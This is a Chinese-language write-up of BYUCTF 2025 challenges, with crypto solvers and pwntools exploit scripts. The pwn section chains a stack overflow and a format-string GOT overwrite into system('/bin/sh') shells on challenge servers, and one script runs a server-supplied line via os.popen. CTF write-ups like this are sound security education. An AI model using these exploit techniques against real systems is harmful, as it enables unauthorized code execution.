BYUCTF 2025

幾周沒會的比賽了,都是一題游。這周的BYU還不錯,難度適中,只是時間有點短。周末時間不夠。

Crypto

Many Primes

from Crypto.Util.number import bytes_to_long, getPrime
import randomflag = open("flag.txt").read().encode()
flag = bytes_to_long(flag)
n = 1
while n.bit_length()<4096:i = random.randint(10,16)reps = random.randint(2,5)p = getPrime(i)if n%p !=0:n*=p**reps
e = 65537
encryptedFlag = pow(flag, e, n)print(f"n = {n}")
print(f"e = {e}")
print(f"flag = {encryptedFlag}")

很顯然這個n是由一系列小素數組成的可以很容易分解。

n = 84957339878841249042661992015318775914153057891067549723671982778975957526984361748735670333426792012519248099265537115315835602057882318543112781196438953840653279029957533208045448649312183873062132255928109150470090982541502003013666939934181416473581073990221728448342533549843710383544743220364127453679761909368982493089369740815066106196444062558446312836612656666434089655206650558129894180991572670565328419648196602807190683488653617068325238542193033423978598565191919683033996144778397817249870630736098769732268174866389943010980427234356604782502318622853423388492983406635687647680770869588481426436811952986075832678887752706507835771052708232550208582584262345437818916577580806059662945066377375408508814381061305598911972399165132279018674832071994673661875185328115121586302490349253912699566783660070599552395205352917554104371784905394477629626963439266490743240318198729049054547013391348516066097465180775402810975266096525722415778248668765855332776864126033830969325570615444114396786906102536716873598804164196155179833683285635189223166238933318740720918827120989416013091102543382987278707392961157272937695585450287755023671116911370689655292160336521776501052329465384315585357461493649222793172462113102463
e = 65537
flag = 45146787828557679140423580221442956925310977371109091853462843177826294442352634580160310989152235297235514141658881390908592470683795245870619319983451904537192781823855678086088663405872526980084960008183831288044960349605168173490367894375757787452024287989993362954206286853190401541606518731317814018817491109177360761859453002792899864984488524864028766239497641048919565458281765487932324396702580026094746189401141448947513512730220423629277692258527951902039531739842965067285622196418171785466236294324572986853688947727117303227689578683403160426800470263102483582737614730930657875098843867256713854784720793138228809768453579721222271047690131897888999884098995408016105397663714102200568327066068146128637742779637777800612639149916508879936573438036837445673606364763612971401591822166427703422764153960398983100036398400304771376839125152709954274549463602659761299411215766075895177151923436509501196662786766042103493713861194722614436307437016043581292216432028543923347478884441934980948114759937955940408027377458938151172837554432746134399838012547867483350557859826433321810794053681726512471838143910118068486851496148663526948219071671481909824342580081675074372829356225227848676981201731545407466857723499918017from Crypto.Util.number import *ps = factor(n)
phi=1
for v in ps:phi *= v[0]^(v[1]-1)*(v[0]-1)d = inverse_mod(e,phi)
m = pow(flag,d,n)
long_to_bytes(int(m))
#byuctf{3ulers_ph1_function_15_v3ry_us3ful_4nd_th15_I5_a_l0ng_fl4g}

PEM

$flag \in \sqrt N$

給了一個公鑰,提示顯然flag=m^2

long_to_bytes(isqrt(n))
#b'fjagkdflgfkdsjgfdltyugvjcbghjqfsdjvfdhbjfd byuctf{P3M_f0rm4t_1s_k1ng} cmxvblalsfiuqeuipplvdldbnmjzxydhjgfdgppsksjq'

?Real Smooth

#!/usr/local/bin/pythonfrom Crypto.Cipher import ChaCha20
from Crypto.Random import get_random_bytes
from secrets import FLAGkey = get_random_bytes(32)
nonce = get_random_bytes(8)cipher = ChaCha20.new(key=key, nonce=nonce)
print(bytes.hex(cipher.encrypt(b'Slide to the left')))
print(bytes.hex(cipher.encrypt(b'Slide to the right')))try:user_in = input().rstrip('\n')cipher = ChaCha20.new(key=key, nonce=nonce)decrypted = cipher.decrypt(bytes.fromhex(user_in))if decrypted == b'Criss cross, criss cross':print("Cha cha real smooth")print(FLAG)else:print("Those aren't the words!")
except Exception as e:print("Those aren't the words!")

給了用同樣key加密的兩段明文(對于chacha20加密來說,這兩段可以看成連在一起的一段),要求給出一個密文解密與指定明文相同。chacha20其實就是生成個加密流,然后與明文異或得到密文。所以拿密文與明文1明文2異或就行。

from pwn import *
context.log_level = 'debug'p = remote('smooth.chal.cyberjousting.com', 1350)v = b'Slide to the left' + b'Slide to the right'
c = bytes.fromhex(p.recvline().strip().decode()) + bytes.fromhex(p.recvline().strip().decode())s = xor(v,c)v = b'Criss cross, criss cross'
c = xor(v,s[:len(v)])
p.sendline(c.hex())p.interactive()
#byuctf{ch4ch4_sl1d3?...n0,ch4ch4_b1tfl1p}

Cycles

from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad# Can you undo this?
from hidden import p,N,a,flag,g# these are for you :)
assert isPrime(p)
assert len(bin(a)) < 1050hint = pow(g, a, p)
key = long_to_bytes(a)[:16]cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))# Now for your hints
print(f"g = {g}")
print(f"P = {p}")
print(f"ciphertext = {ct}")
print(f"Hint = {hint}")  #a=p-1

這題其實就是求a,給的提示是g^a=1 mod p 根據費小這個a應該是p-1但試了一下不對,再根據a小于1050位,猜a = k*(p-1)爆破一下

from tqdm import trange 
for i in trange(1,1<<26):a = (P-1)*icipher = AES.new(long_to_bytes(a)[:16], AES.MODE_ECB)m = cipher.decrypt(ciphertext)if b'byu' in m:print(m)#byuctf{1t_4lw4ys_c0m3s_b4ck_t0_1_21bcd6}

Choose Your RSA

#!/usr/local/bin/pythonfrom Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, getPrime
from Crypto.Util.Padding import pad
import osprint("[+] Generating values...", flush=True)
flag = open("/app/flag.txt").read().encode()
key = os.urandom(160)
p, q, n, e = [], [], [], []
for i in range(3):p.append(getPrime(1024+512*i))q.append(getPrime(1024+512*i))n.append(p[i]*q[i])cipher = AES.new(key[:16], AES.MODE_ECB)
print(cipher.encrypt(pad(flag, AES.block_size)).hex())
print("We will encrypt the key three times, and you can even choose the value of e. Please put your distinct e values in increasing order.")try:e = list(map(int, input().split(" ")))assert e[0]>1assert e[1]>e[0]assert e[2]>e[1]
except Exception as e:print("sorry, invalid input")quit()key = bytes_to_long(key)
for i in range(3):print(f"n{i}=",n[i], sep="")print(f"c{i}=", pow(key, e[i], n[i]), sep="")

這里要求輸入3個e, 1<e0<e1<e2,這里的key是160*8位,n分別是2048+1024*e位,如果輸入2則正好m^2比n大,第1個想到的就是CRT,輸入2,4,8結果3個n的位置其實還是不如m^8大。然后用2,3,6成功。不過看了官方WP,其實只用2,4就可以m^4=5120位正好與兩個n的和相等。

Hash Based Cryptography

#!/usr/local/bin/pythonimport hashlib
from secrets import KEY, FLAGdef gen_otp(key: bytes, message: bytes) -> bytes:iv = keyotp = b''for _ in range(len(message)//20):iv = hashlib.sha1(iv).digest()otp += ivreturn otpdef pad(message):if type(message) is str:message = message.encode()return message + bytes([(20 - len(message)) % 20]) * ((20 - len(message)) % 20)def unpad(message):if message[-1] > 20 or message[-1] != message[-message[-1]]:print("Padding error")raise ValueError("Invalid padding")return message[:-message[-1]]def encrypt(key, message) -> str:if type(key) is str:key = key.encode()return bytes([a^b for a, b in zip(pad(message), gen_otp(key, pad(message)))]).hex()def decrypt(key, message) -> str:if type(key) is str:key = key.encode()try:message = bytes.fromhex(message)return unpad(bytes([a^b for a, b in zip(message, gen_otp(key, pad(message)))])).decode(errors='ignore')except Exception as e:return f"Error decrypting"def test():print(encrypt("key", "hello world"))print(decrypt("key", "ce4a4e49d050c8c3b9ab95e62330713f787a7ed7"))def main():print("I just created this encryption system. I think it's pretty cool")print("Here's the encrypted flag:")print(encrypt(KEY, FLAG))print("Here, you can try it out, too:")while True:user_input = input(" > ")decrypted = decrypt(KEY, user_input)if FLAG in decrypted or "byuctf" in decrypted:print("I didn't make it that easy")continueprint(decrypted.encode())if __name__ == "__main__":main()

這個加密其實就是用key異或,然后提供解密,但要求不能與flag相同也不能用byuctf所以改第1個字符就OK了

└─$ nc hash.chal.cyberjousting.com 1351                                             
I just created this encryption system. I think it's pretty cool
Here's the encrypted flag:
36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf5606981
Here, you can try it out, too:> 36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
I didn't make it that easy> 37622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
b'cyuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3'
#byuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3}

Anaken21sec1/2

這倆題加密是一樣的,只是第1題給了key要求解密,第2題要求求key再解密,所以放一起了。

import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def encrypt(plaintext, key):plaintext += "x"*((12-len(plaintext)%12)%12)blocks = [plaintext[12*i:12*(i+1)] for i in range(0,len(plaintext)//12)]keyNums = [ord(key[i])-97 for i in range(len(key))]resultLetters = ""#do the block permutations and additionsfor block in blocks:#make 6 by 6 matrixblockM =np.zeros((6,6))for (i,letter) in enumerate(block[0:6]):letterNum = ord(letter)-96blockM[0,i] = letterNum//9blockM[1,i] = (letterNum%9)//3blockM[2,i] = letterNum%3for (i,letter) in enumerate(block[6:]):letterNum = ord(letter)-96blockM[3,i] = letterNum//9blockM[4,i] = (letterNum%9)//3blockM[5,i] = letterNum%3#scramble matrixfor keyNum in keyNums:blockM = permute(blockM,(keyNum//5)%5)blockM = add(blockM, keyNum%5)#get resulting letters from matrixfor i in range(6):resultLetterNum = int(9*blockM[i,0]+3*blockM[i,1]+blockM[i,2])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)for i in range(6):resultLetterNum = int(9*blockM[i,3]+3*blockM[i,4]+blockM[i,5])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)#rearrange ciphertext according to the keyreducedKeyNums = [][reducedKeyNums.append(x) for x in keyNums if x not in reducedKeyNums]letterBoxes = [[] for i in reducedKeyNums]finalEncryptedText = ""for i in range(len(resultLetters)):letterBoxes[i%len(reducedKeyNums)].append(resultLetters[i])for i in range(len(reducedKeyNums)):nextLowest = reducedKeyNums.index(min(reducedKeyNums))reducedKeyNums[nextLowest] = 27for letter in letterBoxes[nextLowest]:finalEncryptedText+=letterreturn(finalEncryptedText)if __name__ == "__main__":plaintext =  input("What would you like to encrypt?\n")plaintextList = [letter.lower() for letter in plaintext if letter.isalpha()]plaintext = ""for letter in plaintextList:plaintext += letterkey = input("Enter the encryption key. Leave blank to randomly generate.\n")if key == "":key = getRandomKey()print(f"Your key is: {key}")print(encrypt(plaintext, key))

加密過程是這樣的:

1,把明文pad成12的整數倍。明文只能是a-z的小寫字母。

2,把明文每12字節一塊加密

? ? ? ? 1,把12個字符分兩組,第1組按字母序號+1的3進制放到6*6矩陣的前3行每列對應1個字符,第2組同樣的方法放后3行。

? ? ? ? 2,依將按11位key的序號對矩陣作sbox和add操作,而key的值用來表示操作的矩陣和add的位置。

? ? ? ? 3,將上步結果,前3列和后3列分別看成3進制得到對應的字符(0abc...)

3,所有塊連接到一起后用柵欄的方法分成11組,用key的值從小到大將這些組重組成密文。

求key

在沒有key的情況,首先就是求key.這里允許20次交互。

1,在加密的第3步是按照key的大小重組,所以這里先加密10個塊,然后再生成一個10個塊連在一起的,這樣就得到10組未組合的密文和這10組密文組合后的密文。這里用10組是因為key的長度是因為每個塊12字符,10*12=120與11塊密文重組的11*11只差1個,把10*12個密文分11組,有10個組會有1個塊是兩個字符其它都是1個字符。

單獨密文 'splfzkkrwdgx', 'apmgziosweas', 'phkbojvbuldw', 'yhi0okt0umgx', 'ghjaoixaunas', 'mxqegjdkvudw', 'vxocgkbivvgx', 'dxpdgifjvwas', 'jteh0svbhcmw', 'stcf0tt0hdpx'
組合密文 'sasjuaegfetpepgxivid0tlplyasjvjh0fzvihuvasshzokhnmgxih0kwb0odoxcskmhmgdwkvbfrgotjxvdmwtwsboxqxwjpxdadwkukcgvcgxiu0agbptd'

將全部密文按大概10-11一段切開換行,并且每段首字符為第1個單獨密文的1個字符(其中有一個是前兩個字符),例子中開頭分別是s p l ... gx (這里恰巧gx趕在最后,不一定每回都是最后)

'''
#從第2列開始雖然還是那些字符,但順序并不相同
s  as j  u  a  e  g  f  e  t
p  e  p  gx i  v  i  d  0  t
l  p  l  y  as j  v  j  h  0
f  z  v  i  h  u  v  as s  h
z  o  k  h  n  m  gx i  h  0
k  w  b  0  o  d  o  x  c  s
k  m  h  m  g  dw k  v  b  f
r  g  o  t  j  x  v  d  mw t
w  s  b  o  x  q  x  w  j  px
d  a  dw k  u  k  c  g  v  c
gx i  u  0  a  g  b  p  t  d#當確定第1組的雙字符是gx時,所有密文的雙字符位置是相同的
splfzkkrwd gx
apmgzioswe as
phkbojvbul dw
yhi0okt0um gx
ghjaoixaun as
mxqegjdkvu dw
vxocgkbivv gx
dxpdgifjvw as
jteh0svbhc mw
stcf0tt0hd px
'''

然后按列將雙字符出現的位置記錄下來:11,1,10,2,3,7,5,4,8,9,6 最后一個6是這些位置與未出現的一個這里只能得到10個位置,最后一個就是未出現的

這里的1-11是表示key的大小順序,并不是key的值。

爆破key

由于已經得到key里字符的位置,這里爆破11個字符時就不用爆破所以排列而是得到C25,11的組合就行,再得到上步得到的順序排成key即可,并通過encrypt來驗證。這題實際爆破了5分鐘,并不算長。估計最長會30分鐘。

import encryptcipher ='uoan0zhemdqv0fmaqcmbkxxotmzswjyavoox'
order = [11,1,10,2,3,7,5,4,8,9,6]
#取第1組密文爆破
m1 = 'a'*12
c1 = 'splfzkkrwdgx'import itertools
from math import comb
import tqdmdef attack(v):tkey = ''.join([v[order[i]-1] for i in range(11)])if encrypt.encrypt('a'*12,tkey) == 'splfzkkrwdgx':print('key=', tkey)return Truetab = [chr(97+i) for i in range(25)]for v in tqdm.tqdm(itertools.combinations(tab, 11), total=comb(25,11)):if attack(v):break

解密

1,先把組合后的密文恢復成12字節的塊,原題的命令太惡心了,越看越亂。

def dec1(c,key):#切開#1,恢復順序#恢復順序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小順序組合bsize = clen//11rr = clen - bsize*11   #<rr的取bsize+1字符,其它取bsize個f = vv[rr-1]  #<=f 則每塊bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3

再對每個塊解密,3進制放入矩陣,add的逆向,sbox逆向。

import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def sub(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] -=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]-blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[:3,:3]-blockM[3:,3:]elif count == 3:blockM[3:,:3] = blockM[3:,:3]-blockM[:3,3:]else:blockM[:3,3:] = blockM[:3,3:]-blockM[3:,:3]return np.mod(blockM, 3)def r_permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[index//6, index%6] = blockM[i,j]return finalBlockMdef dec1(c,key):#切開#1,恢復順序#恢復順序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小順序組合bsize = clen//11rr = clen - bsize*11   #<rr的取bsize+1字符,其它取bsize個f = vv[rr-1]  #<=f 則每塊bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3def dec_block(block,key):keyNums = [ord(i)-97 for i in key]#make 6 by 6 matrixblockM =np.zeros((6,6))for i in range(6):if block[i] == '0':r = 0else:r = ord(block[i])-96blockM[i,0] = r//9 blockM[i,1] = r%9//3blockM[i,2] = r%3for i in range(6):if block[6+i] == '0':r = 0else:r = ord(block[6+i])-96blockM[i,3] = r//9 blockM[i,4] = r%9//3blockM[i,5] = r%3#print(blockM)#scramble matrixfor keyNum in keyNums[::-1]:blockM = sub(blockM, keyNum%5)blockM = r_permute(blockM,(keyNum//5)%5)#print(blockM)b = ''for i in range(6):v = blockM[0,i]*9 + blockM[1,i]*3+ blockM[2,i]b += chr(int(v)+96)for i in range(6):v = blockM[3,i]*9 + blockM[4,i]*3+ blockM[5,i]b += chr(int(v)+96)return bdef decrypt(c,key):return ''.join([dec_block(i,key) for i in dec1(c,key)])

PWN

Minecraft YouTuber

程序快200行了,主題就是由于user_t和nametag_t兩個結構大小相同,先在注冊個用戶,然后修改last再注銷后再注冊利用那個殘留1337就給flag

#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>__attribute__((constructor)) void flush_buf() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);
}typedef struct {long uid;char username[8];long keycard;
} user_t;typedef struct {long mfg_date;char first[8];char last[8];
} nametag_t;long UID = 0x1;
char filename[] = "flag.txt";
user_t* curr_user = NULL;
nametag_t* curr_nametag = NULL;void init() {setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);
}void register_user() {printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n");curr_user = (user_t*)malloc(sizeof(user_t));curr_user->uid = UID++;printf("Please go ahead an type your username now: \n");read(0, curr_user->username, 8);
}void log_out() {free(curr_user);curr_user = NULL;if (curr_nametag != NULL) {free(curr_nametag);curr_nametag = NULL;}
}int print_menu() {int choice;printf("What would you like to do now?\n");printf("1. Register a new user\n");printf("2. Learn about the Time Keepers\n");printf("3. Collect gear\n");printf("4. Elevate to super user\n");printf("5. Change characters\n");printf("6. Leave\n");// 7 is try to free loki but it's not technically an option, you have to be rebellious to get therescanf("%d", &choice);if (choice < 1 || choice > 7) {printf("Invalid choice. You broke the simulation\n");return 0;}return choice;
}int main(void) {init();srand(time(NULL)); int gear;printf("Hello! My name is Miss Minutes, and I'll be your helper here at the TVA!!\nHow about we get you oriented first!\nThe only rule is that we under no circumstances can free Loki... he's locked up for a reason!\n");int input = 1;while (input) {switch (input) {case 1: // register a new userregister_user();break;case 2:printf("The Time Keepers are the three beings who created the TVA and the Sacred Timeline. They are powerful beings who exist at the end of time and are responsible for maintaining the flow of time.\n");break;case 3: // collect gearif (curr_user == NULL) {printf("You must register a user first!\n");break;}gear = rand() % 5 + 1;if (curr_nametag != NULL) {free(curr_nametag);}switch (gear) {case 1:printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n");break;case 2:printf("You have received a Name Tag! Please input your first and last name:\n");curr_nametag = (nametag_t*)malloc(sizeof(nametag_t));curr_nametag->mfg_date = (long)time(NULL);read(0, curr_nametag->first, 8);read(0, curr_nametag->last, 8);break;case 3:printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n");break;case 4:printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n");break;case 5:printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n");break;}break;case 4:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->uid >= 0x600000) {printf("Well, everything here checks out! Go ahead and take this key card!\n");curr_user->keycard = 0x1337;} else {printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n");}break;case 5:if (curr_user == NULL) {printf("You must register a user first!\n");break;}log_out();printf("You have been logged out.\n");printf(". "); sleep(1);printf(". "); sleep(1);printf(". \n"); sleep(1);register_user();break;case 6:input = 0;break;case 7:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->keycard == 0x1337) {printf("You have freed Loki! In gratitude, he offers you a flag!\n");FILE* flag = fopen(filename, "r");if (flag == NULL) {printf("Flag file not found. Please contact an admin.\n");return EXIT_FAILURE;} else {char ch;while ((ch = fgetc(flag)) != EOF) {printf("%c", ch);}}fclose(flag);exit(0);break;} else {printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n");printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n");log_out();input = 0;break;}}if (input != 0) {input = print_menu();}}return input;
}
from pwn import *
context(arch='amd64', log_level='debug')p = remote('minecraft.chal.cyberjousting.com', 1354)p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))
while True:p.sendlineafter(b"6. Leave\n", b'3')v = p.recvline()if v == b"You have received a Name Tag! Please input your first and last name:\n":p.send(p64(0x1337)*2)breakp.sendlineafter(b"6. Leave\n", b'5')
p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))p.sendlineafter(b"6. Leave\n", b'7')p.interactive()
#byuctf{th3_3xpl01t_n4m3_1s_l1t3r4lly_gr00m1ng}

Game of Yap

game調用play,這里有個溢出。

int game()
{play();return puts("You can't yap!");
}ssize_t play()
{char buf[256]; // [rsp+0h] [rbp-100h] BYREFreturn read(0, buf, 0x256uLL);
}

有溢出但是沒有相應的gadget所以這里需要用幾個gadget繞一下

0x1266? puts 這里返回時rsi寄存器會被置成libc的地址

0x128a? printf(%p,) 利用rsi殘留的值泄露libc

第1步利用第1個game的溢出覆蓋返回地址尾字節跳到yap(去掉push rbp)泄露加載地址

第2步利用上邊兩個gadget先用1266填充rsi再用128a得到libc然后調用main重入

第3步sysem

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./game-of-yap')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./game-of-yap')
p = remote('yap.chal.cyberjousting.com', 1355)p.sendafter(b"Here's your first chance...\n", b'\0'*0x108+p8(0x7d))elf.address = int(p.recvline(),16) - 0x1210
print(f"{elf.address = :x}")#gdb.attach(p, "b*0x555555555239\nc")p.sendafter(b"One more try...\n", b'\0'*0x108+flat(elf.address+0x1266, 0, elf.address+0x128a,0, elf.address+0x1254))
p.recvuntil(b"You can't yap!\n")libc.address = int(p.recvline(), 16) - 0x204643
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
p.send(b'\0'*0x108 + flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.interactive()

Goat

這是個格式化字符串的題,有3個小點

1是有前異輸出24字節,所以每次輸出需要減掉這個數

2是字節數比較少每次只能改一點,而且地址需要預存

int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v4[2]; // [rsp+0h] [rbp-C0h] BYREFchar s1[64]; // [rsp+10h] [rbp-B0h] BYREFchar s[104]; // [rsp+50h] [rbp-70h] BYREFunsigned __int64 v7; // [rsp+B8h] [rbp-8h]v7 = __readfsqword(0x28u);v4[0] = 'TAOG';v4[1] = 0LL;snprintf(s,0x5FuLL,"Welcome to the %s simulator!\nLet's see if you're the %s...\nWhat's your name? ",(const char *)v4,(const char *)v4);printf(s);fgets(s1, 32, stdin);snprintf(s, 0x5FuLL, "Are you sure? You said:\n%s\n", s1);printf(s);fgets(s1, 16, stdin);if ( !strncmp(s1, "no", 2uLL) ){puts("\n?? Why would you lie to me about something so stupid?");}else{snprintf(s1, 0x3FuLL, "\nSorry, you're not the %s...", (const char *)v4);puts(s1);}return 0;
}

這里通過修改got表,改變程序流程,先是把strncmp 改成main實現循環。

因為改成main后每次棧都會抬高,而輸入長度限制沒法一次寫兩個地址(需要改3字節,一次改4字節字符數太大了),所以先執行兩次把got.printf的地址留在棧里,最后一次把printf改為system,然后輸入帶;/bin/sh的值執行shell

from pwn import *
import os
context(arch='amd64', log_level='debug')elf = ELF('./goat')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./goat')
p = remote('goat.chal.cyberjousting.com', 1349)#pow
p.recvline()
v = p.recvline().decode().strip()
print(v)
a = os.popen(v)
p.send(a.read().encode())'''
18:00c0│ rbp 0x7fffffffdb50 —? 0x7fffffffdbf0 —? 0x7fffffffdc50 ?— 0
19:00c8│+008 0x7fffffffdb58 —? 0x7ffff7c2a1ca ?— mov edi, eax
'''#strncmp->main
p.sendafter(b"name? ", f'%{0x11f0-24}c%11$hn%30$p %31$p '.encode().ljust(0x18,b'\0')+p64(0x404000))
p.recvuntil(b'0x')
stack = int(p.recvuntil(b' '), 16) - 0xa0
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
print(f"{stack = :x} {libc.address = :x}")
p.sendline()
p.sendlineafter(b"name? ",b'')p.send(flat(0,elf.got['printf']))
p.sendlineafter(b"name? ",b'')
p.send(flat(0,elf.got['printf']+1))
p.sendlineafter(b"name? ",b'')
p.sendline(b'')#gdb.attach(p, "b*0x4012b0\nc")
#printf->system
system = p64(libc.sym['system'])
v1 = system[0]
v2 = u16(system[1:3])
p.sendlineafter(b"name? ", f'%{v1-24}c%87$hhn%{(v2-v1)&0xffff}c%61$hn'.encode())p.sendline(b';/bin/sh\0')p.interactive()

*MIPS

這種不大關心,為啥弄這么小眾的題又都是入門

*TCL

還以為主辦方給誰作廣告呢。

看了WP拿來也沒弄成。https://github.com/BYU-CSA/BYUCTF-2025/blob/main/

REV

LLIR

非常長,基本上就是v[33]=v[32]+1這種判斷,寫成不好認的語言

